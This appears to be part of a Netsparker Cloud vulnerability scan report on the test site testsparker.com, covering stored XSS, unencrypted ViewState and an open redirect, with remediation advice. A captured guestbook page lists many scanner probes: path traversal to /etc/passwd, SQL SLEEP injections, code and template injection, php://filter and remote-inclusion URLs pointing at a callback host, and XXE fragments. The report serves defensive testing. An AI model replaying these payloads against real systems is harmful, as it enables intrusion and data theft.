\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

https://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

///r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/\\r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

r87.com/?https://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:05 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx\u0000

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t
12
\r\n
\r\n\r\n\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Unknown Injection Point","Value":"Netsparker did not carry out an attack for this page but identified output of a previously completed XSS attack. This might happen because Netsparker was run against this website before."}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected possible stored cross-site scripting, which allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser. \"Permanent\" means that the attack will be stored in the backend system. In normal cross-site scripting, an attacker needs to e-mail the victim, but in a permanent cross-site scripting, an attacker can simply execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

","Impact":"
Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User session sensitive information such as cookies can be stolen.
  • XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters, with which you will populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"ViewStateNotEncrypted","Name":"ViewState is not Encrypted","Severity":"Low","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"15","Cwe":"16","Capec":"","Pci31":"","Pci32":"","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 178\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M%2fHadQgN1lyb6gNWlfovE&__VIEWSTATEGENERATOR=CA0B0334","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M/HadQgN1lyb6gNWlfovE","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CA0B0334","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.007500000000007,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:38 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"ViewState Version","Value":".NET Framework 2.x"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected that ViewState encryption is disabled.

","Impact":"
An attacker can study the application's state management logic for possible vulnerabilities; if your application stores application-critical information in the ViewState, it will also be revealed.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
ASP.NET provides encryption for ViewState parameters.

For page based protection, place the following directive at the top of affected page.
<%@Page ViewStateEncryptionMode=\"Always\" %>\n
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
<System.Web>\n    <pages viewStateEncryptionMode=\"Always\"> \n</System.Web>      \n
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/redirect.aspx?site=r87.com%2f%3ftestsparker.com%2f","Type":"OpenRedirect","Name":"Open Redirection","Severity":"Medium","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A10","Wasc":"38","Cwe":"601","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /redirect.aspx?site=r87.com%2f%3ftestsparker.com%2f HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"site","Type":"Querystring","Value":"r87.com/?testsparker.com/","Vulnerable":true}]},"HttpResponse":{"StatusCode":302,"Duration":85.298,"Content":"HTTP/1.1 302 Found\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 153\r\nContent-Type: text/html; charset=utf-8\r\nLocation: http://www.r87.com/?testsparker.com/\r\nDate: Wed, 23 Aug 2017 07:47:29 GMT\r\nCache-Control: private\r\n\r\nObject moved\r\n

Object moved to here.

\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected an open redirect vulnerability. Open redirect occurs when a web page is being redirected to another URL in another domain via a user-controlled input.

","Impact":"
An attacker can use this vulnerability to redirect users to other malicious websites, which can be used for phishing and similar attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • Where possible, do not use users' input for URLs.
  • If you definitely need dynamic URLs, use whitelisting. Make a list of valid, accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs those are located on the trusted domains.
